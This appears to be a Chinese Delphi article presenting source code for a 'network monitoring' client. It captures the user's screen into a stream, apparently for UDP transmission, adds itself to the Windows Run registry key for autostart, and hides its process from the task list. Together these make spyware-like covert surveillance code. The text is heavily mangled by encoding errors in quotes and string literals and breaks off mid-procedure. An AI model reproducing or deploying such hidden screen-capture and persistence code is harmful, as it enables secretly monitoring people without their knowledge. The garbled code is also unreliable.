Delphi：网络监控.doc

Delphi：网络监控 客户端：用的是nmudp控件unit Unit1; interface uses? Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,? Dialogs, NMUDP,Registry; type? TClient = class(TForm)??? CUDP: TNMUDP;??? procedure FormCreate(Sender: TObject);??? procedure FormDestroy(Sender: TObject);牋?procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;牋牋?FromIP: String; Port: Integer); ?private?/ procedure add;牋?{ Private declarations }?public牋?{ Public declarations }?end; var?Client: TClient; implementation {$R *.dfm}const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }? var ? BmpStream:TMemoryStream;? LeftSize:Longint;{ 发送每一笔数据后剩余的字节数}? function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;stdcall; external ’KERNEL32.DLL’; procedure ScreenCap(LeftPos,TopPos,RightPos,BottomPos:integer);?var?RectWidth,RectHeight:integer; ?SourceDC,DestDC,Bhandle:integer; ?Bitmap:TBitmap; ?begin ?RectWidth:=RightPos-LeftPos; ?RectHeight:=BottomPos-TopPos; ?SourceDC:=CreateDC(扗ISPLAY?拻,拻,nil); ?DestDC:=CreateCompatibleDC(SourceDC); ?Bhandle:=CreateCompatibleBitmap(SourceDC, ?RectWidth,RectHeight); ?SelectObject(DestDC,Bhandle); ?BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, ?LeftPos,TopPos,SRCCOPY); ?Bitmap:=TBitmap.Create; ?Bitmap.Handle:=BHandle; ? BitMap.SaveToStream(BmpStream); ? BmpStream.Position:=0; ? LeftSize:=BmpStream.Size; ? Bitmap.Free; ? DeleteDC(DestDC); ? ReleaseDC(Bhandle,SourceDC); ? end; procedure add;//写入注册表自动运行var?? reg:TRegistry;begin?? reg:=TRegistry.create;牋 try牋牋 reg.RootKey:=HKEY_CURRENT_USER;牋牋 IF reg.openkey(抯oftware\microsoft\windows\currentversion\run?true) then牋牋牋 reg.WriteString(扢yApp?挃?+ ParamStr(0) + 挃?; 牋 finally牋牋 reg.CloseKey;牋牋 reg.Free;end;end; procedure TClient.FormCreate(Sender: TObject);begin?BmpStream:=TMemoryStream.Create;?RegisterServiceProcess(GetCurrentProcessID,1);//在任务栏隐藏?add;?end; procedure TClient.FormDestroy(Sender: T